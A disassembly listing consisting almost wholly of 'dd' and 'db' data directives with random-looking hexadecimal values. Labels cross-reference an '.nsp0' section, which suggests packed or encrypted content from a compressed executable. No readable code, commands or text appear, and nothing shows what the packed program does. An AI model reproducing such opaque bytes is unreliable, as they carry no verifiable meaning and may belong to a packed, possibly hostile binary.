dd 0D322D3B0h, 6C2A52BCh, 26F82EE3h, 7B615E8Ah, 4F4FD17Dh
dd 0B5046257h, 0A6544F98h, 0CEE616A3h, 0C4CB3AFAh, 51430B5Ch
dd 0DF7C2C6Eh, 8BB5DA16h, 755F3DC3h, 0F111EA04h, 95C0D706h
dd 15971E6Dh, 7371FC09h, 8A51F9B4h, 1D44E4ECh, 0C51496F5h
dd 732A1CD5h, 5220DA57h, 6F871ADFh, 79C34B5Dh, 0B9703DCEh
dd 83872C6Dh, 6A8D206Dh, 0C645A2C9h, 34D07386h, 0EEE90531h
dd 99F21EA5h, 8F10C084h, 0FED37588h, 7380573Bh, 7AC3462Fh
dd 0A29525EBh, 93E1FF7Ch, 0C00C0108h, 0B29B0833h, 97A0A63Bh
dd 3CD87EDDh, 0CDF844A1h, 0AF9CDA3Ch, 0BB227DB9h, 1936F55Fh
dd 144B8BD5h, 1DADFA07h, 2E2F4EE8h, 305B836Ch, 80BAEC61h
dd 0F8837DD5h, 0CEC5014Dh, 4869B907h, 0B2E22D46h, 0D4348DAFh
dd 3DCBE623h, 890AFA8Ah, 6459F617h, 0A3AF30CCh, 621880FBh
dd 43CD725Bh, 1F1F44D3h, 7E8D3291h, 35D93EA0h, 0A266EEB5h
dd 9CA3D6B4h, 50DC7372h, 940B38FDh, 0F3D2909Ah, 4E2B3B49h
dd 0A95F00D2h, 0F4E62FE8h, 0B3D8B3D3h, 0BBC5A77Fh, 142DD823h
dd 0E67B2B7Bh, 2AB9E2FBh, 0EF69B24Bh, 0F4620874h, 0E3C9D6E0h
dd 4EE74C80h, 0B39D6CFDh, 55ABDCE8h, 61131A16h, 15C3E56Dh
dd 0CA713BCEh, 0ABD6F642h, 79100788h, 9B8663E9h, 8FEF127Ah
dd 93AA8BE4h, 6BD18DF7h, 3A235485h, 0DFE74D21h, 29F5E9A5h
dd 74F197Ch, 351079D4h, 3832DE71h, 5AC3FA08h, 62562948h
dd 0D5A1AA87h, 3D53D2E7h, 73E67FD0h, 5742CD20h, 0F304E6E9h
dd 927C1459h, 0BC524FF9h, 2DA59D75h, 2334ADDFh, 33C8F16h
dd 0CD3A47A4h, 90E53A2Ah, 0BE37E6Bh, 69D99A78h, 6B33A4F6h
dd 0B195BED3h, 5C8D6A1Ch, 25CC390h, 8607131Eh, 6C8FD51Ch
dd 0C6C30AEDh, 6C88EFB9h, 15BC5BB6h, 0B252A9B0h, 3AF3B28Ah
dd 0B714F430h, 3AC0022Eh, 0A7BBC7E5h, 7DAB5303h, 0CAF8A14Ah
dd 0A5F124A2h, 65BEF96Fh, 0E8E25858h, 0C0977C17h, 787B42A9h
dd 1068C3D5h, 168E3C3Dh, 784AC5BBh, 19834356h, 87CFBED3h
dd 72323739h, 333FCC4h, 2C31A7A8h, 0F9480098h, 36D6B736h
dd 4ECAABC2h, 0A8394296h, 117A4C33h, 3EE82005h, 9508D591h
dd 367FD595h, 0C9AA9154h, 0D42A3A46h, 740C05BAh, 9BA46C63h
dd 5E1CE070h, 49B8095Ah, 30DEC30Bh, 0CEC74133h, 6490D134h
dd 0EC4FAAE7h, 0EA1F129Ch, 2ADC3797h, 0FEE400E0h, 74F572F2h
dd 3FF004BEh, 0ABD37E6h, 1D384626h, 14D8C399h, 5EEAB275h
dd 90484A0Ah, 0B5D232FBh, 0EFFBC992h, 4AC7A7FAh, 0D50A66D2h
dd 4EF42DE9h, 6F1DDCB9h
dd 665AD6DBh, 8E96058Ch, 431BDC8Ah, 0B97ED0A5h, 27579405h
dd 450FBC64h, 379F5733h, 0F626F46Ah, 0DF14A3A7h, 0F6DCEDFBh
dd 0FCAF7D05h, 0CC54B53Fh, 98D1357Eh, 0A2988CD5h, 0E738EB19h
dd 60CF058h, 848F52FEh, 0EC98BF9Ah, 92C97059h, 23BC372h
dd 2FB6B7BCh, 9108176Dh, 5FACB414h, 798A93F3h, 0BBF46310h
dd 301ADA67h, 7BBA98BAh, 0E5EE42Ah, 0E72D931Bh, 3A3EBD3Bh
dd 6D659DE6h, 0C9847EF0h, 8F3883A8h, 8A7EE1ADh, 0F8089B0Dh
dd 45DE8CD5h, 439A34D2h, 0E998CE42h, 7972E23h, 0AE0B0ADCh
dd 51BE9F70h, 4DAC9284h, 707B9C9Eh, 0F12EE498h, 7219AE90h
dd 0D9E90B9Ah, 318E763Fh, 0C24F0EA2h, 0A64242B3h, 0F308AC6Eh
dd 0FFAEAF15h, 0DD04B41Bh, 27083C55h, 0C3005AAAh, 2386940Eh
dd 2D6E52ABh, 12C43534h, 0E80BD2B7h, 0EACB21AAh, 53F98397h
dd 0CED26831h, 54C48424h, 45F859CFh
db 44h, 0DEh, 4Ch
byte_53004B db 0BBh ; DATA XREF: .nsp0:0043934Do
; .nsp0:00439B5Do
dd 0A76FA8B9h, 7736546Fh
db 0E2h
byte_530055 db 3Bh, 1Fh, 0F9h ; DATA XREF: .nsp0:off_43FD0Co
; .nsp0:off_43FD24o
dd 0CB195D50h, 9C27F4DEh, 0BFC2959Ah, 0E1A65AA1h, 0AD43FC1Bh
dd 0C761E47Bh, 0F165D9E9h, 4A864D28h, 9FAC4722h, 9C5DB0CFh
dd 3796F469h, 93250A0Ch, 112DA6B9h, 7F66F7A5h, 3074D89h
dd 10ECA9B7h, 0AF331C95h, 71C22606h, 9D41DB3Dh, 33BFD5B4h
dd 0A5421E1Bh, 45D10586h, 0CB1A5A1Ch, 4B8E6CA4h, 0F6657EE6h
dd 0B3C0D3CAh, 7E99C4CBh, 0C9C479EDh, 145F0DA0h, 3A650C9Fh
dd 12678C1Ch, 0A72CF80Fh, 141FF1F9h, 20518786h, 0F7A57500h
dd 78F2C8C0h, 7EBAB6CDh, 0CEED165Eh, 7F80FFDCh, 7992A3ADh
dd 0D6E3729Dh, 0BD005571h, 0F142F9A8h, 0A03A1276h, 0D30D562Ch
dd 0D3EFC2D3h, 297B36D6h, 4905A1D1h, 0A1DE737Eh, 0CE33C0F7h
dd 8507B976h, 219A4D91h, 0DA360FBAh, 448C8FFh, 24F54729h
dd 80709498h, 77D5D57Fh, 59293E54h, 0CAFD73D0h, 0BFFD072Ah
dd 16E6BB6Fh, 688A4BCEh, 0D7BDFFF0h, 8E161C1Dh, 0C7024EF3h
dd 0A62BF4D7h, 0DE3F3677h, 13FC23EEh, 46718441h, 8F006CC7h
dd 87861CBBh, 0FEA17009h, 38465C02h, 0F53CEDF3h, 0C42B8696h
dd 0AB802A55h, 0D3AB48C6h, 0A855541Eh, 206EFDAh, 0FB86745Ch
dd 0AA2CC792h, 41D3FDD8h, 6F8B0DA1h, 822EB6FFh, 5D9CF143h
dd 789B7397h, 23372BC0h, 66EB45E8h, 3CE90E8Dh, 5B1E6EA3h
dd 0B6A1C327h, 0B31A16AFh, 0FC5B98F6h, 0EEBC05BBh, 92DD101Ch
dd 59033E93h, 0CBD6Bh, 899D32B1h, 3969BBF1h, 0D7670734h
dd 6FB74B8h, 43101C86h, 5E8E0AA8h, 3BF7AEA6h, 40F55163h
dd 1F34300Ah, 242933F0h, 2C956324h, 0AD0A131Eh, 177FB4A5h
dd 0B277571Fh, 88ECB0CCh, 0B5577E38h, 0B7391985h, 0CA9ADAC7h
dd 2EC53201h, 0C5859732h, 219840B4h, 21C9674Fh, 7425CCFCh
dd 0FBB90505h, 0D1AA8DC2h, 82B496C0h, 4391FFBDh, 0FF7343F2h
dd 0FF9865B0h, 88AE3D01h, 0FD800F6Dh, 3BA0CE41h, 0C4505BF3h
dd 60069B1Dh, 0A4D665C5h, 953F4B65h, 65EB7AB1h, 0BCAE84Eh
dd 23FFFABDh, 0DA98134Eh, 63B19720h, 9B4AB53Bh, 5E743A6Ah
dd 71B4F2B7h, 97DF0E18h, 0D27385DDh, 83BE91C0h, 275A5C2Eh
dd 8B46DDDDh, 1D50B7E1h, 279722B6h, 0D9D3F064h, 546EC352h
dd 0F4A74AE9h, 0C3E802E9h, 9588FFE6h, 55E09DC2h, 0C427543Ah
dd 0DC6A0BFFh, 9960260Ah, 0DE76CA89h, 31BDCCFDh, 7F63AA6Dh
dd 0E1135C51h, 2D83FF5Fh, 707B6E0Bh, 594423E9h, 3855C4C8h
dd 0AD11046Bh, 9927722Bh, 0F56A9FCAh, 37236F36h, 0A3708651h
dd 0E7A32BAEh, 7A9DD163h, 93A7DEC8h, 0FAAC4F4h, 2027F174h
dd 714EEF5Ah, 2C4B41EFh, 0BD3D106Ah, 619A1F1h, 0B4DD04A4h
dd 0CD66295h, 85075B61h, 1D329BF8h, 482CC2h, 46B0ADBh
dd 1422E2F0h, 584CC9Bh, 5183A468h, 0F9B07154h, 823E3125h
dd 0E89A563Eh, 0E14C28EAh, 0EB24057Ah, 443EB115h, 731AB90Ah
dd 70EBE747h, 0BF3F3329h, 79667C68h, 0F2346Ch, 3811C175h
dd 928BB55Bh, 62C8C230h, 8C933BB1h, 823FBE7h, 0B30AB79Ch
dd 0C6988CE8h, 0A79B9610h, 5BEE64AFh, 938733DDh, 98BB4AB9h
dd 439B2C4Fh, 0EF757740h, 1495A7F1h, 48118236h, 79773BD8h
dd 0C98140AAh, 2ADF4898h, 1A103352h, 35619BEh, 8257A937h
dd 5FA55C3Dh, 3B65ADCDh, 0CFC05EAFh, 0DEA168D9h, 775FBC3Bh
dd 0A5934247h, 6907BEBFh, 0B4F69A0Bh, 0BFE7C5DDh, 7C3F5D55h
dd 60A9DA40h, 7141350Bh, 0CCD4A4EEh, 9231AFDEh, 0EB9A2D96h
dd 234816D1h, 0C19D9753h, 0FF21E61Eh, 0BB8DC5E9h, 4E3764A5h
dd 7669483Dh, 45DD11BCh, 2E876A61h, 18E0B5Fh, 8957EC2h
dd 6E0B3522h, 7F26F542h, 3EE888B0h, 0DFDFC16h, 0EA69C5A0h
dd 0C2CE82E8h, 9EAC2190h, 0C330EF5Fh, 573B9C43h, 0AE36FE1Ch
dd 62D39CFh, 3E31CB21h, 0E947A8E8h, 4BACE972h, 91546D41h
dd 0DC9CC115h, 11E9110Ch, 0EDF2E220h, 0FD4E18A6h, 1BEF6F91h
dd 0E3F83BF4h, 0E3998426h, 0E6D27E35h, 6C6B19D3h, 1F49A06Dh
dd 7A0F6999h, 6DE0F0D6h, 0B4911FD4h, 0F0F91DEBh, 0E50A07F4h
dd 96CFF082h, 0F8AEA534h, 4795A63Fh, 9790CD69h, 0BAEE6D21h
dd 1C8D7573h, 10DD4AABh, 3F3D3917h, 89CA0AABh, 18EF0231h
dd 4910D263h, 0E4884D27h, 2FBE477Dh, 0A50B8EC0h, 4A20B6Bh
dd 0FD29FDB7h, 0D1E2CB89h, 4A9F8E1Bh, 58FCB45h, 7F8C71E3h
dd 701247E2h, 0D1E395BBh, 41F7DE32h, 9D23A960h, 38CAEBA7h
dd 0B91410Bh, 0A324A992h, 83E700E0h, 0A9069EDEh, 5FC94910h
dd 75C6D7D4h, 569D3h, 9BABDA1Ch, 0BE42EEA1h, 0C72EB065h
dd 0C1FB0A2Fh, 0E4A3BB12h, 0BB2602DFh, 0CE8E9633h, 4A4E0F6Ch
dd 6EF3C76Bh, 6BD374ACh, 30A1222Ch, 620AB88Dh, 0B751E7Ch
dd 0AA40A3B6h, 0A9FADCDDh, 0FA2F60D4h, 3CDCB8E6h, 5F1FCAAh
dd 84134D45h, 0F142EC74h, 7D888581h, 0B3DCCDB2h, 3CEA4D22h
dd 1D07BCA2h, 82832D54h, 0E9BF4961h, 0E550AD89h, 0D4C1A9EBh
dd 2F7EE146h, 25B141A2h, 79870FAFh, 0AA6118D8h, 0B2C2A00h
dd 0D0BF038h, 2E4CA08Dh, 96275A1Ah, 0B9450830h, 0ADD6EB4Fh
dd 0D9BBC9F5h, 0A1348E41h, 0E6602AD2h, 635B64EDh, 0A55FF72Dh
dd 8B40EFF3h, 2F67C45Eh, 92951263h, 2C2E0B38h, 16D63851h
dd 3F8F9286h, 5FFEA1ACh, 344BD7C7h, 0A192E2Fh, 4D0C2759h
dd 29C01AC1h, 0C17BB469h, 0BD6F2C12h, 252288BDh, 749873D6h
dd 274CA47Bh, 8D37FF18h, 32C9D961h, 382CE421h, 7062438h
dd 1DAC8C87h, 0B069C99Fh, 0C8B72D20h, 0A8FFB4F0h, 0EC7ACA6Ch
dd 1D17056Bh, 6CA4AA8Ch, 0AF653D1Dh, 0DD43BAD7h, 30AA6807h
dd 0DAD8A441h, 1B943643h, 9036368Ah, 0A17B52AEh, 8F3FFBC4h
dd 0BB5DC0EBh, 6920BC3Ch, 97D1C03Fh, 28DC7F9h, 10EFD77Dh
dd 0D5A548F3h, 6CA61C4Fh, 4123F75Bh, 0C83EE5EEh, 71C5069Fh
dd 0A59E636Fh, 0B11029C5h, 83E05701h, 0E4C1B33Ah, 0BF6259EFh
dd 9F801B82h, 0AEB31DC7h, 3AB762B9h, 9CD8ECBFh, 9E4C4B14h
dd 0F995AD02h, 0D5C7E33Eh, 7A4A7F16h, 3E85C995h, 0F362627Eh
dd 0D18F55CCh, 35B36519h, 0CAE43BE6h, 0F522D912h, 0FF5CA190h
dd 0B0DA95C0h, 24C3A032h, 87CCA55Ah, 60F71F1Eh, 0F1BA86C8h
dd 0A1A78D57h, 4E3E556Dh, 0A263FCAAh, 0D149418Dh, 66B54809h
dd 0FCBFA749h, 11EF1E85h, 0B370C5CBh, 0BF36B84h, 7ABC61A4h
dd 285276E1h, 0C4BE971Fh, 0E5BCA0CBh, 0E6A13029h, 199083C3h
dd 0A0ACE4C4h, 0C2864632h, 0DBDA6933h, 0AC3276FEh, 0A223AAA7h
dd 7A477678h, 0B85CB19Ah, 70412E72h, 7BB1BFCBh, 9D2FAA5Eh
dd 0F7ADA8B6h, 4F55D11Bh, 37A34D72h, 6825FF47h, 18CE1A2Ch
dd 9BED7FCFh, 0D209D02Bh, 0D2CA22E5h, 0F87603C1h, 44513F91h
dd 0A97F9CF2h, 0F89A457Fh, 1294BBBFh, 325E796Dh, 5B45119Ch
dd 0FAC250A4h, 8BC367B3h, 6B7AE59Ah, 1918BFC7h, 2CE995E8h
dd 68673C00h, 921ECCADh, 0C0454557h, 908C5153h, 9DDCC3D6h
dd 4B4ECD94h, 6397D45Ch, 5A2025B0h, 9CA2E120h, 0D955DAC9h
dd 26940207h, 366593C0h, 20DEC973h, 0ABB411E9h, 9DEDAE5Fh
dd 91F9D3C4h, 79C59B44h, 7E060162h, 0A1532EB4h, 84B6C00Fh
dd 0F91C6657h, 0EF412689h, 0A8A3D5DEh, 68B0771Dh, 96CFF841h
dd 8E32F0EEh, 0D9418120h, 0DDBCCC96h, 5E783B64h, 4D478D08h
dd 1FEE57F0h, 45132231h, 62108D5Fh, 0B0F171E8h, 1FA51DB9h
dd 4178C0Eh, 6B8437E0h, 912981Dh, 777E60C9h, 3B2055Fh
dd 0B19EA53Bh, 912A0367h, 0A218F12Ah, 99943F64h, 0D27762DCh
dd 971D23EAh, 0ED231598h
dd 1BBD0CD5h, 0F18D28A6h, 95E72719h, 4357B4DDh, 0BA710DF8h
dd 1D654FC2h, 0BC736FBh, 6BAF3633h, 0EF8C19D3h, 98CE441Ch
dd 3EF36BC3h, 99496B28h, 0F5360D7Dh, 0E1E9C63Ch, 0D903BBCBh
dd 30197E54h, 7542DE39h, 7E1E2238h, 72674813h, 1F646D50h
dd 0DE05B72Eh, 8E11AE01h, 0D5678044h, 63B03E56h, 3C69D12Fh
dd 0B0C7ABh, 0ED4F6639h, 0EF7D66DBh, 5DEB40F7h, 0F3A82991h
dd 6DA72BAEh, 0ADB88767h, 0B6C01069h, 706CE21h, 32DA3E53h
dd 4A0D1047h, 4CBF484Ch, 0E73E294Dh, 439E3EAEh, 0A91791F5h
dd 6C44BB3h, 1E6194EDh, 2D29B76h, 0FA1B7E72h, 5369558Ch
dd 0FA9C6657h, 19481E3Ah, 0B4039643h, 0FF45784Dh, 0A24F3D56h
dd 0DA282C74h, 0E3295BFDh, 0F482A2A9h, 730CDE8h, 0AD218013h
dd 0B01A7F5h, 17613E1Dh, 78D79B0Ah, 0D729A299h, 6BF477B3h
dd 0D09B6730h, 3C36FDC9h, 5D44BAF7h, 7773F7F0h, 503E3362h
dd 2880FC9Bh, 0D066D443h, 17A6A210h, 6AB8B219h, 9E6BFC3Bh
dd 0A19388D7h, 51D8EC4Ch, 295352F0h, 2ECDBCD4h, 8D5DFF7Bh
dd 2D387939h, 85B2DE41h, 45A02CE7h, 132590D7h, 5B5ED8D8h
dd 99EDC3CEh, 181963A7h, 560F150Bh, 671798AEh, 7CA09491h
dd 0DEBA672Bh, 0B118B51Bh, 86C4A950h, 69A03C76h, 9AE12177h
dd 33F83916h, 0A8310088h, 7E9BC371h, 0FCDD4C70h, 856EFDFDh
dd 0B1AB83C3h, 0B04B2C77h, 3BCA43B6h, 0FD0AD545h, 198D20D8h
dd 29D694E3h, 0FFF45177h, 80D63B1Ch, 0EE63D7C4h, 5D850CE0h
dd 0D6C21C0Eh, 4EAEEE7h, 0C8E75458h, 4BEF9430h, 0DF3C2230h
dd 0AF657199h, 8C9E5E1Bh, 652B9E57h, 0F4F4F58Eh, 134F92F5h
dd 0A4F11978h, 5C9362BCh, 77601D84h, 5653D6A5h, 27D1293Ah
dd 3F3A853Bh, 1A348DBCh, 3BFFCA6h, 8B68D1FDh, 0B628429Eh
dd 2908A0F2h, 21FC2EDDh, 41998E4h, 1DEA8000h, 4FE5EC67h
dd 118B0E1Dh, 0E1D67974h, 0E7F6991Eh, 0FCB830D4h, 367263A3h
dd 0A308089h, 82C4D804h, 0A6500E92h, 1BF3AB2Ah, 0AE6F694Eh
dd 263DD527h, 0B3FBB5A2h, 89DC91B3h, 0E7E9C038h, 91A4A9C9h
dd 6107E888h, 9C010789h, 0B4DBE448h, 89705C80h, 0C6EE2E35h
dd 0DBF9EAB6h, 6F8BE59Ah, 972A37C1h, 5C8D95C3h, 2820290Bh
dd 6EBA231Dh, 0F5751227h, 92C5EB88h, 0F95C08EFh, 38626C85h
dd 5CE8718Ch, 817A282Eh, 0FD57CFFDh, 0BE8139E6h, 764AC0D5h
dd 7A89F0D3h, 0A4743579h, 3F1A4279h, 0D1FC5C40h, 0E87A8F45h
dd 0D2D83A85h, 79F7101Dh, 565CF9FFh, 2E9654DAh, 79905DE1h
dd 0BADE7B55h, 600F68ECh, 0A0AF16D2h, 94966342h, 0E0A7DACEh
dd 782FDF64h, 855E5BF1h, 0A56A749Ah, 21C446Dh, 8B781CCCh
dd 33BC98C1h, 844641ECh, 0E7C5BC32h, 1531F394h, 6C261354h
dd 0A856220Eh, 6B38A260h, 0FE709070h, 0B77A0014h, 18BD7697h
dd 0D49E3999h, 605CC7C7h, 2222CD58h, 3351DA22h, 0A18DC5CEh
dd 0B671B940h, 25E0C551h, 362EAAC7h, 0E3936666h, 15E3B04Dh
dd 2A5187F1h, 94A43469h, 87F14557h, 0B6F53306h, 18D2A44Fh
dd 1664283Fh, 50F0CD9Eh, 0E0B57987h, 0EAB05915h, 961D7866h
dd 0F9F1D681h, 9B6F5224h, 59AA4970h, 0CD85790Ah, 0CD8DD865h
dd 339FAFh, 0A1596B87h, 0BD3B29E3h, 64F6A453h, 9D2335CFh
dd 0C3234F68h, 5C59939Bh, 0C599513h, 78B8C1B1h, 0A886BEA4h
dd 0E448C69Ch, 0C10A98A3h, 55366F30h, 0FB09F8B1h, 0C6ACEAD6h
dd 0C2FF8B76h, 5F87E71Fh, 0E49B9909h, 0CE4EDD32h, 0D95E9376h
dd 73B87496h, 5343F15h, 0B3AC1BD0h, 27BE39E6h, 7BB4924h
dd 0E20E4D6Ch, 0D02E2DB1h, 0C7AD25Fh, 3F7E2C3Ch, 5B4A5112h
dd 11E46D0h, 0C8E677ACh, 96898CABh, 0B80C10E4h, 1164DB34h
dd 283DE0B4h, 5FD3F53Fh, 33483C37h, 0DFECA377h, 0CEFC955Bh
dd 17FBFBC8h, 66C8338Ah, 34B05055h, 0E6D870A6h, 0D0480C41h
dd 9EAABD11h, 4269F228h, 0F8CEBBD8h, 5F347A9Dh, 57A7879Dh
dd 0C935EF5h, 3C7D3073h, 0A691FBDDh, 2B9FD88Ah, 212D8CB9h
dd 0BED8B0DFh, 0CDF96C88h, 8FBEC91h, 6444E3A5h, 3F9EB181h
dd 4C11156Ah, 0E55CD65h, 0E81BAE3h, 59E0CA58h, 9F54276Dh
dd 0FEBEA97Dh, 0E7E7DB47h, 500676E8h, 0C7D43130h, 0F7FF5150h
dd 1EF7A36Dh, 0B5D7891Eh, 0BA9344CCh, 11A8436Fh, 0A6F7AB2Eh
dd 0F57B2BF2h, 0A1532076h, 0B9EC7005h, 4BA0A5F1h, 0C111D716h
dd 0F6C07A07h, 2C510CE9h, 0F42B6690h, 0D907C906h, 81D3BE61h
dd 0ED4B14C0h, 0A06F941Ah, 615F0B80h, 32C0E7F2h, 80E17E56h
dd 29B8B65h, 9761BEBh, 8C2C3061h, 171E94C8h, 5FC5A687h
dd 6E0C32Dh, 0EAA0E9B4h, 8FA7D6F7h, 0F6DCE741h, 0FC32D845h
dd 0EED1E247h, 373A5F4Ch, 7209C420h, 289D374Ah, 0F3A6D755h
dd 63C57A3Eh, 4655F499h, 39E3D881h, 563C00F8h, 22F92342h
dd 0FDFBC1DAh, 0F7649896h, 0BD0F0A38h, 10D08BF1h, 0BA8ECAC7h
dd 524F6896h, 8B92878Ah, 0BDBE40F5h, 2E118B76h, 601C90E3h
dd 7A763719h, 159D2C2Dh, 496B841Bh, 0BDF8C878h, 78BA14C2h
dd 83ED9908h, 534FD909h, 6757BEB5h, 1F4F271h, 605E1CDFh
dd 679A5F73h, 8E9195DCh, 4059033Dh, 0D15AC021h, 617A5063h
dd 4871CE29h, 397F364Ah, 0DC98EAB8h, 7F565C44h, 80CC210h
dd 405CAF19h, 880FF6A5h, 2D6380B8h, 77D9C54h, 726E0219h
dd 8CF5A723h, 0EAC0E28h, 2B3EFCBCh, 70137FE1h, 10DBAFF8h
dd 908F2716h, 0B653B7E5h, 6D35355Fh, 0DF44893Bh, 0E9F03C0Fh
dd 0D8AF997h, 80ED1919h, 0DD14C300h, 65F3367h, 0C08CFFB6h
dd 254764D9h, 253D5B38h, 1F42F0DAh, 0BBAD2998h, 0D0388F99h
dd 0C176F11Bh, 0F4AA8E29h, 0A1EA46A6h, 0A70D5E52h, 0DFFD405h
dd 0B9FB0F31h, 236C5EDh, 1796D1A8h, 0D67BEB6Fh, 0E3719CC4h
dd 91DB2C17h, 9920C0DFh, 82A0F4DCh, 94592C1Ah, 0F662C2Ah
dd 0F7572D2Ah, 0EFB636A1h, 931B845Bh, 66441FF7h, 7322590Ah
dd 68B8B4ABh, 24DD9FE0h, 90C258AEh, 81676F11h, 500CB1C9h
dd 0DA116A97h, 0E100F158h, 47C00255h, 7DCCBEBFh, 6B4A0F45h
dd 82976348h, 46612394h, 917E1D5Eh, 60A32617h, 8322B07Dh
dd 47C308E4h, 0C4C10CF2h, 678FA158h, 0FA3E01F6h, 533A3E2Dh
dd 58E5722Dh, 0AA74ECA2h, 81789B6h, 0C98254F3h, 30FB2665h
dd 37633715h, 3FB254D5h, 6760C201h, 4CDAFEAFh, 85BA2566h
dd 0C5623594h, 6FF740E9h, 0E6C5A2F0h, 11DAA567h, 64C678ABh
dd 583F8732h, 4186F5DDh, 0D1D42FA8h, 24FDD462h, 35BD1D84h
dd 0DBBC99F3h, 1BE8823h, 0A8F721Eh, 0C3A832F8h, 68077D59h
dd 0A9D8C5E5h, 32B47AA2h, 1DB32CAEh, 0F179CF78h, 2C019A40h
dd 0D69D057Bh, 2304AAB4h, 9ADBE476h, 679F40B5h, 5B2375F6h
dd 35D30C4Fh, 0E39C9471h, 0D6536E2Bh, 2CB1F8D5h, 6D1A33F4h
dd 0AA10274Ah, 95500777h, 134CD117h, 0E4F450B4h, 8AD93D6Eh
dd 95845196h, 9A1638F5h, 40A2C0FFh, 92A240F5h, 0E74331D2h
dd 0DA6E1F62h, 67FE0FD7h, 6B972FA6h, 0C60E277h, 5A4F54ABh
dd 359B0171h, 648BC5F9h, 0E024A298h, 27DFB433h, 7AF04A46h
dd 0EA606692h, 8BDF4A06h, 0D88332C2h, 6F7D6C22h, 0B7B2221Eh
dd 36FAFBDDh, 2F34DAA2h, 0E8FD919h, 832866Dh, 0A545B6D3h
dd 3FC52A6h, 0BCCE6FF2h, 4B05A2DFh, 853D17B8h, 5D3801DDh
dd 40578997h, 7B31EC8h, 5F8FE373h, 808D5F33h, 0BB7D4284h
dd 0D09A55AAh, 5C9C9F49h, 736B4BF6h, 253D3CDAh, 2A7C050Bh
dd 44F5A3CDh, 46D7C18Dh
dd 0CA28C308h, 0E8A1EA5Ch, 537E759Ch, 0CE181CEh, 0F05F79C5h
dd 0EBF788E6h, 0AA2FD3EDh, 363F5FF9h, 0C315F29Ch, 469C7308h
dd 0F9286A8Dh, 0B95F549Ah, 746CFD86h, 0A5402D68h, 9FA4464Bh
dd 2D030B98h, 0CB168DACh, 0F64AB90Bh, 6CA2AA60h, 35C5BBCAh
dd 143B619Dh, 16C8B9ADh, 0BB9A794Ah, 0DC68A31h, 24021037h
dd 54C1BA32h, 0A63D7444h, 9C0D49B7h, 0F0FA592Dh, 3E99439h
dd 0BD01A9F2h, 4620F962h, 65463502h, 6C9698ABh, 0ED72B619h
dd 1E38046Eh, 10A84420h, 0DAC042E9h, 6E899CB5h, 0EF2EFA43h
dd 9D988975h, 810BE251h, 95AC4785h, 0FC32E245h, 0E3883149h
dd 0D369FF0Fh, 0FAA01C21h, 994C6F46h, 916D0945h, 7C856D1Bh
dd 0E4C06192h, 70992D84h, 0AB71D4AFh, 4E85B6BEh, 0F023A1Bh
dd 49FECEB8h, 0B81FD224h, 0EA28AE46h, 87940C5Bh, 59BA53A6h
dd 0C549C557h, 0EC34AF63h, 0FA496EF5h, 0D16EAA53h, 937DA0A0h
dd 3B500884h, 0A3AE5B24h, 0CA1EE2D7h, 7BCB2328h, 0D188061Eh
dd 0DA8FF963h, 2DC3B12Ch, 413DCC20h, 0EB1D50E8h, 53743390h
dd 9B35F39Eh, 1552CE4Dh, 453FE538h, 0B8FDD499h, 9B3E11C0h
dd 3B7CC0Ch, 1C743C6Eh, 1434050Ch, 80E0FD4Eh, 77345DC3h
dd 3F30EC2Eh, 0E6506C98h, 364C53E9h, 0F98D7452h, 290000F3h
dd 9F58C25Bh, 0F3258561h, 121965DCh, 0DF97354Fh, 32E76080h
dd 0D6DDCBB7h, 0B6EA8BAAh, 2C878E2Bh, 8AD95593h, 25031AB0h
dd 11C8094Ah, 0BDF345FCh, 37AFCF1Dh, 0ED80E60Ch, 81AA1267h
dd 7CACE53Ch, 4C86E870h, 95317E04h, 98D48EF8h, 0F5862E20h
dd 98492CDFh, 45C02191h, 0F609DAD1h, 77A40178h, 54C7415Ch
dd 0C926AC75h, 1D904EAh, 0C387231Eh, 2357A729h, 0B9831238h
dd 1CD06A67h, 39B0F463h, 3D7BBB2Ch, 5B764ACBh, 54DA4BDAh
dd 0AE728761h, 0D1616797h, 54BE039Ah, 4D525132h, 402EBCFh
dd 3D624F45h, 50D314F7h, 7AB268Dh, 941C6827h, 0D9BE4C56h
dd 0C4F00DABh, 511D1C44h, 0E5D360F1h, 6F21B136h, 8BF6FA7Ch
dd 80BEFD2Bh, 72712D74h, 1D713924h, 0FAB4F2A9h, 0F397CF46h
dd 0C7937FFDh, 917392D9h, 62BDD1EAh, 7A7DF0F9h, 4C9ABAA0h
dd 0E8E48183h, 0A8DA6149h, 0A207FDF0h, 0CC12C432h, 0E282932Fh
dd 0DEF2D2E6h, 6310E3B5h, 4505126Ah, 0A52844D5h, 0A9D411FCh
dd 399349ECh, 3F27CF31h, 69237265h, 8E0C7D70h, 0C17DA700h
dd 908E5D21h, 0E61CF83Eh, 68FB9DE0h, 7B0CFB9Bh, 113E19E8h
dd 5CC01CA2h, 2F4F2201h, 2CAEFE5Eh, 811AD32Eh, 0EF90505Fh
dd 10544018h, 39E03F14h, 0C161817Eh, 0F9BD4292h, 57361FC8h
dd 17B2ABAAh, 0FCEA038Ch, 0CBBF4FF6h, 0A210525Ch, 0FC02B659h
dd 0B77915EAh, 0ABECE4B6h, 0FDA1DC01h, 0EBF9E174h, 96B5DD15h
dd 0AD1CBD8Ch, 35BB1A0Fh, 0E1863C92h, 51DE7878h, 7E88BFC4h
dd 0E131961Dh, 0CEBC9806h, 294E09EBh, 21C523BBh, 345B7455h
dd 213AEC0Dh, 0D46D10F6h, 7C4AF89h, 7714DE65h, 0B9C61666h
dd 73EFFB36h, 3B471D9Ah, 8B0F1B94h, 0DDEC315Bh, 3EDCA024h
dd 509ED3C2h, 0A85A3506h, 8B00B0C7h, 9C221776h, 4EA35A1Bh
dd 143F8ED3h, 7BBD06DAh, 45C44526h, 1B595044h, 8BC3BFECh
dd 1BD57819h, 432D5F65h, 0A1510161h, 3E6985D6h, 0E9C90B2h
dd 81785A15h, 0B77213C6h, 801FA458h, 7244DB0Ah, 549601E6h
dd 65A551B6h, 0B18BA240h, 8E0752Dh, 0D848575Dh, 0F5E347C3h
dd 8D8C5D12h, 25749F55h, 4AE0E72Fh, 896E00FAh, 660BA711h
dd 46802046h, 5D535EC8h, 2F2F3A24h, 0CD38D11Bh, 0CE6439D1h
dd 3CCC8072h, 65A138C9h, 0F460F009h, 3D3A17DDh, 0F1115D1Dh
dd 0D215B22Bh, 5B14D78Ch, 41C9FF88h, 7FB930D7h, 0F7CB51C3h
dd 2B52AF8Ah, 15170EDh, 0EA97D1E4h, 5753C363h, 0BA62303Bh
dd 573DA69Ah, 3F8F873Fh, 996A4EDDh, 0E610F82Ah, 0CB4AAB7Ch
dd 0EB467D4Ch, 0C624743Fh, 5685A0F8h, 128E381Eh, 0BC4F29AFh
